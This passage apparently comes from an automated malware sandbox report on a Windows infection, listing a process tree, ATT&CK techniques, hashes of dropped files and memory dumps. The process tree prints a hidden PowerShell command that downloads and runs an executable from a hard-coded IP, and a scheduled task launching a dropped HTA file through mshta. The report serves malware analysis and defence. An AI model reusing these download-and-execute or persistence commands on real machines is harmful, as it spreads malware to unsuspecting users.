        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="984.5.1353599748\2104008934" -childID 4 -isForBrowser -prefsHandle 3892 -prefMapHandle 3888 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9d10bd0-66b5-4c18-9e52-3b3ca0ea75c8} 984 "\\.\pipe\gecko-crash-server-pipe.984" 3824 2093f258 tab
        6⤵
        
        PID:3028
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="984.6.1928507202\1703715385" -childID 5 -isForBrowser -prefsHandle 3996 -prefMapHandle 3988 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c5aa835-e3cc-4113-9f62-beb5c91a88a5} 984 "\\.\pipe\gecko-crash-server-pipe.984" 4060 19471c58 tab
        6⤵
        
        PID:1600
- - C:\Users\Admin\AppData\Local\Temp\1071555001\2ea95f6e68.exe
    "C:\Users\Admin\AppData\Local\Temp\1071555001\2ea95f6e68.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn fTeixmaIpTn /tr "mshta C:\Users\Admin\AppData\Local\Temp\CnNIP0VIo.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:384
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn fTeixmaIpTn /tr "mshta C:\Users\Admin\AppData\Local\Temp\CnNIP0VIo.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1196
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\CnNIP0VIo.hta
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      PID:3040
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1588
      - C:\Users\Admin\AppData\Local\Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
        
        "C:\Users\Admin\AppData\Local\Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2000
- - C:\Users\Admin\AppData\Local\Temp\1071556001\104dbf09ba.exe
    "C:\Users\Admin\AppData\Local\Temp\1071556001\104dbf09ba.exe"
    3⤵
    - Enumerates VirtualBox registry keys
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2856
- - C:\Users\Admin\AppData\Local\Temp\1071557001\12bc7cdf9c.exe
    "C:\Users\Admin\AppData\Local\Temp\1071557001\12bc7cdf9c.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\bhzluvd5.default-release\activity-stream.discovery_stream.json.tmp

Filesize
29KB

MD5
b4808ec2cb1f4684d9c2b87ce92a710e

SHA1
8a9931221e693f0c5919c90baaf6c18883792e27

SHA256
78909f2d8b94b7476aab56594f8dc300bf489d4effa855359a5d653b35c328de

SHA512
4fa9aafebff113068c8375de95376cd407ed2ab99df3cd61cfe77075a52fef4dd42a79ac5ac3ee3ddcbab2a92279647b2e592c9d2e04693203fa87eca81214f1

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\bhzluvd5.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
15KB

MD5
96c542dec016d9ec1ecc4dddfcbaac66

SHA1
6199f7648bb744efa58acf7b96fee85d938389e4

SHA256
7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

SHA512
cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071552001\81083605bd.exe

Filesize
1.8MB

MD5
ebb19356f4a1f8d9aa63efcad72818a6

SHA1
005666bf6270b976c4e2c2faf13491da29389c7e

SHA256
8313c081a92b8c3e8debe8b6662ce1531cbf3d0e6464c1a6d0ee178568a52c40

SHA512
f4821767f3056ad7c2a58de117667b28a1a2e619d495cf3238a7f36aedc8bb0b4add7affd0cc0ae9020991f28c6f67b4dee1d937920eff99e9789ea1b0a95ec8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071553001\536d226d58.exe

Filesize
1.7MB

MD5
9029a85b5ffa5bd915cd2a463bcda9a4

SHA1
adab3a0f4d43b646e6361553f13d35e434a12cf2

SHA256
68eeb68d21179446664122d2c8cc1ff9266a8643d4721a40a83c029f1d70c8e6

SHA512
c98cc795d29a937b16eee3620373bf3fb54c32fb36db510df813f3760816785b696fb08c88cd4e8ffb457872fbede9b01b2c2d7944f993d2607407bb637e0fe9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071554001\a934a83000.exe

Filesize
946KB

MD5
4cb7f8d6d02d0a8b31c24b632532f3b5

SHA1
d94a1c2c7f1ee270ba2854cddcf4da106023ec67

SHA256
c56deb44762dfe55715e5b2dcdd26c83ace4db66b0d6ea9b3dfb161013b6be4e

SHA512
b82a1d703302883c109d8cca7e301fd1917d208df263adb1390e274cc7779615cbdd3bd26ea7f5c0afb40d9113df129566dfae357b393872e2132e0a51428a8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071555001\2ea95f6e68.exe

Filesize
938KB

MD5
5f5311db746cf4e37cbce62174620467

SHA1
046464dd8858bafee645c26c225abc209379199d

SHA256
35fbdd95d2951a99c5420f110a434bebb19ee51ddd040c28c45f9cb71d5ca9b9

SHA512
c8b948e9dc298240b86511ee73684496b8da66fb41bae82af5a27789348155e410d27cac594bd75a65ffc312a87d8629ff78b8125a39a7cb55e90b6a8b5f0acc

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071556001\104dbf09ba.exe

Filesize
6.2MB

MD5
ee63e0c4f7f0864a1a5055f45d850854

SHA1
3374a186b3f8a574db2264fd28135fb917b49175

SHA256
c976d7e9326b670fdb240a27368e895adbbb68bbd0b07903960e486e2e8ca02c

SHA512
caea5072f14ee08f747ce7e7d035ef7716a0b647fe514d5a03c2cdc5345d243a6c84d7be15faa2348fd0ff45b713473d5a32db61484f0ab53348a0f0d40fd969

Download Submit
C:\Users\Admin\AppData\Local\Temp\1071557001\12bc7cdf9c.exe

Filesize
2.0MB

MD5
919161ec521932fd32ea0938502308a5

SHA1
39d4610fec270a857a7b08659f8ae7410b6bd7e1

SHA256
e8bb9baba9658cde076f3f2394285a5d25c43c3e1d6ef6eb81fab42ed799fc91

SHA512
c8c1d2acdc0447774f0aa0d8123bf7e4e9fb045f0b632d51d6fa9f826b019c8c38d4e999b791fa218bbe243b9d34e846353d8dfc09036a385a05b5ec746341f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\CnNIP0VIo.hta

Filesize
720B

MD5
8c271b3893b2f2bf1cda4933675d9cb8

SHA1
0c110723af246a292d7d0e09efbf772ade72b784

SHA256
ad2b80c5b6ead1676537432c55be4852daa520309a3acc650360306932b94c1b

SHA512
8ea638f38a4f9998a718839137645d5679fa1ee06c5feb61b5da9f49ca22a14c8eb5571d83186e20e075f09cdcf63ce0184a34ce1e38754ce7a475e61c85b1f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\HUVE3P1DGDXL94F7TI9YI1.exe

Filesize
2.0MB

MD5
e49eb0e441625b8cd5ab5241449addf1

SHA1
96a28bc2a6105f7cbf7297728eff394d417d5364

SHA256
5b29145293b504d880d928aa97f1fb5b9e3fc04c55b4ec687b97c9f410adec91

SHA512
b61922d2728fda759ae8008f4b594152707e9de217c70107c9c89317815d4298cf87b57a006dab9c11d0202f4ebdf943314691a378e77828ff37f8fcbdc22e83

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon

Filesize
442KB

MD5
85430baed3398695717b0263807cf97c

SHA1
fffbee923cea216f50fce5d54219a188a5100f41

SHA256
a9f4281f82b3579581c389e8583dc9f477c7fd0e20c9dfc91a2e611e21e3407e

SHA512
06511f1f6c6d44d076b3c593528c26a602348d9c41689dbf5ff716b671c3ca5756b12cb2e5869f836dedce27b1a5cfe79b93c707fd01f8e84b620923bb61b5f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

Filesize
8.0MB

MD5
a01c5ecd6108350ae23d2cddf0e77c17

SHA1
c6ac28a2cd979f1f9a75d56271821d5ff665e2b6

SHA256
345d44e3aa3e1967d186a43d732c8051235c43458169a5d7d371780a6475ee42

SHA512
b046dd1b26ec0b810ee441b7ad4dc135e3f1521a817b9f3db60a32976352e8f7e53920e1a77fc5b4130aac260d79deef7e823267b4414e9cc774d8bffca56a72

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\datareporting\glean\db\data.safe.bin

Filesize
2KB

MD5
10897a49b3270a89bac41377e9122d76

SHA1
a7a7dd32eab62def6c73cb89af790f65d1877d2e

SHA256
6e0efd8d15f7f1c7e393c2698b925a003a6afe4a5bcfce1d61ef5ff82b3304f0

SHA512
b173d8be374217bf4cccb0aa53ec4f63a0a93da86c7c38769738057356a6686055371f1975914074cc2384fb8afdda4e735f23aa15aa64dbb5e80dc56e2e1e23

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\datareporting\glean\pending_pings\cf48cb7c-ec4f-4591-97b5-595943bde422

Filesize
745B

MD5
85c99cf6ce7f694aba0d0fce039ae83a

SHA1
6546c52c5cc8098c6f5ed2b6b03e0c30e03338e0

SHA256
670a7b2f86902458dedab2fe19f53add4752de5aace305e707f04004c36a66f5

SHA512
9d3d7458cb2541280e7573ef951e343d6eeba43dd504c30669c46b523d3fa276ac9e2ee1b3a7172239bd51223e55f85f8f52f8c59d25e684da8af7083eefee5a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\datareporting\glean\pending_pings\fd3fb7e1-7003-4645-b8da-eaf759cf82f8

Filesize
11KB

MD5
a36d9de2400a70ce4a2313168cd82c37

SHA1
d567c50db6432bab370a926cfd037e8a88bded6c

SHA256
6c9872dc6ab9a20e4c7e2628093a288a6671be826f2e74f039672564285ebe2d

SHA512
f4a79a63facb3a849c87f732172eb40dff78d927922c2a4595a54a4ee7123930636f13acc7e25ef6c4b6747d335e469059894302e9d7fc89ead7c77f9761d7c2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll

Filesize
997KB

MD5
fe3355639648c417e8307c6d051e3e37

SHA1
f54602d4b4778da21bc97c7238fc66aa68c8ee34

SHA256
1ed7877024be63a049da98733fd282c16bd620530a4fb580dacec3a78ace914e

SHA512
8f4030bb2464b98eccbea6f06eb186d7216932702d94f6b84c56419e9cf65a18309711ab342d1513bf85aed402bc3535a70db4395874828f0d35c278dd2eac9c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info

Filesize
116B

MD5
3d33cdc0b3d281e67dd52e14435dd04f

SHA1
4db88689282fd4f9e9e6ab95fcbb23df6e6485db

SHA256
f526e9f98841d987606efeaff7f3e017ba9fd516c4be83890c7f9a093ea4c47b

SHA512
a4a96743332cc8ef0f86bc2e6122618bfc75ed46781dadbac9e580cd73df89e74738638a2cccb4caa4cbbf393d771d7f2c73f825737cdb247362450a0d4a4bc1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\gmp-widevinecdm\4.10.2557.0\LICENSE.txt

Filesize
479B

MD5
49ddb419d96dceb9069018535fb2e2fc

SHA1
62aa6fea895a8b68d468a015f6e6ab400d7a7ca6

SHA256
2af127b4e00f7303de8271996c0c681063e4dc7abdc7b2a8c3fe5932b9352539

SHA512
48386217dabf7556e381ab3f5924b123a0a525969ff98f91efb03b65477c94e48a15d9abcec116b54616d36ad52b6f1d7b8b84c49c204e1b9b43f26f2af92da2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\gmp-widevinecdm\4.10.2557.0\manifest.json

Filesize
372B

MD5
8be33af717bb1b67fbd61c3f4b807e9e

SHA1
7cf17656d174d951957ff36810e874a134dd49e0

SHA256
e92d3394635edfb987a7528e0ccd24360e07a299078df2a6967ca3aae22fa2dd

SHA512
6125f60418e25fee896bf59f5672945cd8f36f03665c721837bb50adf5b4dfef2dddbfcfc817555027dcfa90e1ef2a1e80af1219e8063629ea70263d2fc936a7

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll

Filesize
11.8MB

MD5
33bf7b0439480effb9fb212efce87b13

SHA1
cee50f2745edc6dc291887b6075ca64d716f495a

SHA256
8ee42d9258e20bbc5bfdfae61605429beb5421ffeaaa0d02b86d4978f4b4ac4e

SHA512
d329a1a1d98e302142f2776de8cc2cd45a465d77cb21c461bdf5ee58c68073a715519f449cb673977288fe18401a0abcce636c85abaec61a4a7a08a16c924275

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.lib

Filesize
1KB

MD5
688bed3676d2104e7f17ae1cd2c59404

SHA1
952b2cdf783ac72fcb98338723e9afd38d47ad8e

SHA256
33899a3ebc22cb8ed8de7bd48c1c29486c0279b06d7ef98241c92aef4e3b9237

SHA512
7a0e3791f75c229af79dd302f7d0594279f664886fea228cfe78e24ef185ae63aba809aa1036feb3130066deadc8e78909c277f0a7ed1e3485df3cf2cd329776

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.sig

Filesize
1KB

MD5
937326fead5fd401f6cca9118bd9ade9

SHA1
4526a57d4ae14ed29b37632c72aef3c408189d91

SHA256
68a03f075db104f84afdd8fca45a7e4bff7b55dc1a2a24272b3abe16d8759c81

SHA512
b232f6cf3f88adb346281167ac714c4c4c7aac15175087c336911946d12d63d3a3a458e06b298b41a7ec582ef09fe238da3a3166ff89c450117228f7485c22d2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\prefs-1.js

Filesize
7KB

MD5
df3796ea922dca4d16efa207be91998c

SHA1
bc2c1d2f9950a6f82311c37c0ec5aabc1d06fca6

SHA256
3a750c008cc5e29ad3638814acb60ea83c7c27e41d443758c4f0526a684f5c26

SHA512
c2365a63196ea3d94889a50b88e0fc4fce91fa65817e900469e7850c39919c19f4cde8acf56981bd50e9ecdcf1a4acb2315a9b32dc173fab88d17915451522c3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\prefs-1.js

Filesize
6KB

MD5
21a1c5c752ce4a0063d3dffd6a9105ed

SHA1
85aa103f2c49583612851eb0c1d28908d1f9efcf

SHA256
6da9a1aea800e87bdbd9b02cc0523ece3d522bed624fb958484c648b4ca5e6ae

SHA512
e2d64bffcfdfb183864ab2954bf4eed225405554e73cd283ba87fef52bc26edfcc725546ffc4af9fb97a32a1ac0871623a629c071582936d718285ec823df800

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\prefs-1.js

Filesize
7KB

MD5
5798b1fae4fb78a41c73d38e4a3e34f6

SHA1
e73df7ae8486fed08c454df10a731362f98b9e4b

SHA256
02cb0066f7a7d23cc109631befffd626f430e06a4850fc569df1cc4de9611987

SHA512
a6dc19b0c4dce46776308f5e199367db1a65347c4bd94cabab6ed2966de8897dc078db92893cbf04330a06e334e64a0f56f5d77e2724e3d0bbb4983bf418dc1d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bhzluvd5.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
4KB

MD5
2eeb758262a0c672ff34227ce71f7f52

SHA1
2da7d66d653d32eb4b161181ece5654e01e42c1b

SHA256
ab4d048bf42aeb579182f2454f0a899145149c57f4d0569a7874d1e77f4dec90

SHA512
08ce32ec37457556d1bc17d04c0e6aac52e8dc6a6ccc850081db2dd61bc0a6782108125bc1af5c1d622e2d370d7cb712b1567df64876cdfa6ab7d195e7b37bf8

Download Submit
\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

Filesize
2.1MB

MD5
c5ccf77334a5d9892b1797a235e97ae5

SHA1
46d8b41e42c60970d61829a4decd62e1f0209e09

SHA256
866c5b1e9d1b60bc822741681f6eae8e2361e63d42a17bf44add2229044c52d8

SHA512
33644a064a95b6e529203d887418bf19ed47a47b5a80e4f8b18e72f0155aa3c5c5b64c3af3683024d63f2c173a1952262e67ccd605f601858e390b716b0c3311

Download Submit
memory/1504-115-0x0000000000240000-0x00000000008D1000-memory.dmp

Filesize
6.6MB

Download
memory/1504-112-0x0000000000240000-0x00000000008D1000-memory.dmp

Filesize
6.6MB

Download
memory/1588-337-0x0000000005EF0000-0x00000000063A7000-memory.dmp

Filesize
4.7MB

Download
memory/2000-338-0x0000000000E30000-0x00000000012E7000-memory.dmp

Filesize
4.7MB

Download
memory/2144-84-0x0000000001050000-0x00000000016E1000-memory.dmp

Filesize
6.6MB

Download
memory/2144-82-0x0000000001050000-0x00000000016E1000-memory.dmp

Filesize
6.6MB

Download
memory/2252-63-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-111-0x0000000005EE0000-0x0000000006571000-memory.dmp

Filesize
6.6MB

Download
memory/2252-213-0x0000000005EE0000-0x0000000006571000-memory.dmp

Filesize
6.6MB

Download
memory/2252-61-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-321-0x0000000005EE0000-0x0000000006397000-memory.dmp

Filesize
4.7MB

Download
memory/2252-116-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-303-0x0000000005EE0000-0x0000000006397000-memory.dmp

Filesize
4.7MB

Download
memory/2252-272-0x0000000005EE0000-0x0000000006571000-memory.dmp

Filesize
6.6MB

Download
memory/2252-306-0x0000000005EE0000-0x0000000006397000-memory.dmp

Filesize
4.7MB

Download
memory/2252-86-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-57-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-305-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-293-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-52-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-58-0x0000000001320000-0x00000000017BA000-memory.dmp

Filesize
4.6MB

Download
memory/2252-113-0x0000000005EE0000-0x0000000006571000-memory.dmp

Filesize
6.6MB

Download
memory/2536-483-0x0000000000400000-0x0000000000894000-memory.dmp

Filesize
4.6MB

Download
memory/2536-467-0x0000000000400000-0x0000000000894000-memory.dmp

Filesize
4.6MB

Download
memory/2536-457-0x0000000000400000-0x0000000000894000-memory.dmp

Filesize
4.6MB

Download
memory/2784-304-0x0000000000A60000-0x0000000000F17000-memory.dmp

Filesize
4.7MB

Download
memory/2784-308-0x0000000000A60000-0x0000000000F17000-memory.dmp

Filesize
4.7MB

Download
memory/2788-24-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-60-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-53-0x00000000063E0000-0x000000000687A000-memory.dmp

Filesize
4.6MB

Download
memory/2788-33-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-26-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-32-0x0000000000BB1000-0x0000000000C19000-memory.dmp

Filesize
416KB

Download
memory/2788-31-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-30-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-99-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-29-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-55-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-87-0x00000000063E0000-0x0000000006A71000-memory.dmp

Filesize
6.6MB

Download
memory/2788-85-0x00000000063E0000-0x0000000006A71000-memory.dmp

Filesize
6.6MB

Download
memory/2788-83-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-180-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-311-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-80-0x00000000063E0000-0x0000000006A71000-memory.dmp

Filesize
6.6MB

Download
memory/2788-473-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-79-0x00000000063E0000-0x0000000006A71000-memory.dmp

Filesize
6.6MB

Download
memory/2788-331-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-56-0x00000000063E0000-0x000000000687A000-memory.dmp

Filesize
4.6MB

Download
memory/2788-27-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-59-0x00000000063E0000-0x000000000687A000-memory.dmp

Filesize
4.6MB

Download
memory/2788-34-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-51-0x00000000063E0000-0x000000000687A000-memory.dmp

Filesize
4.6MB

Download
memory/2788-22-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-466-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-23-0x0000000000BB1000-0x0000000000C19000-memory.dmp

Filesize
416KB

Download
memory/2788-62-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-456-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-438-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2788-413-0x0000000000BB0000-0x0000000001076000-memory.dmp

Filesize
4.8MB

Download
memory/2856-439-0x00000000010B0000-0x0000000001BF0000-memory.dmp

Filesize
11.2MB

Download
memory/2856-484-0x00000000010B0000-0x0000000001BF0000-memory.dmp

Filesize
11.2MB

Download
memory/2856-474-0x0000000069CC0000-0x000000006A71B000-memory.dmp

Filesize
10.4MB

Download
memory/2856-462-0x00000000010B0000-0x0000000001BF0000-memory.dmp

Filesize
11.2MB

Download
memory/2856-471-0x00000000010B0000-0x0000000001BF0000-memory.dmp

Filesize
11.2MB

Download
memory/3016-5-0x0000000000B50000-0x0000000001016000-memory.dmp

Filesize
4.8MB

Download
memory/3016-19-0x0000000000B51000-0x0000000000BB9000-memory.dmp

Filesize
416KB

Download
memory/3016-3-0x0000000000B50000-0x0000000001016000-memory.dmp

Filesize
4.8MB

Download
memory/3016-21-0x00000000065F0000-0x0000000006AB6000-memory.dmp

Filesize
4.8MB

Download
memory/3016-18-0x0000000000B50000-0x0000000001016000-memory.dmp

Filesize
4.8MB

Download
memory/3016-1-0x0000000077E80000-0x0000000077E82000-memory.dmp

Filesize
8KB

Download
memory/3016-28-0x00000000065F0000-0x0000000006AB6000-memory.dmp

Filesize
4.8MB

Download
memory/3016-4-0x0000000000B50000-0x0000000001016000-memory.dmp

Filesize
4.8MB

Download
memory/3016-0-0x0000000000B50000-0x0000000001016000-memory.dmp

Filesize
4.8MB

Download
memory/3016-2-0x0000000000B51000-0x0000000000BB9000-memory.dmp

Filesize
416KB

Download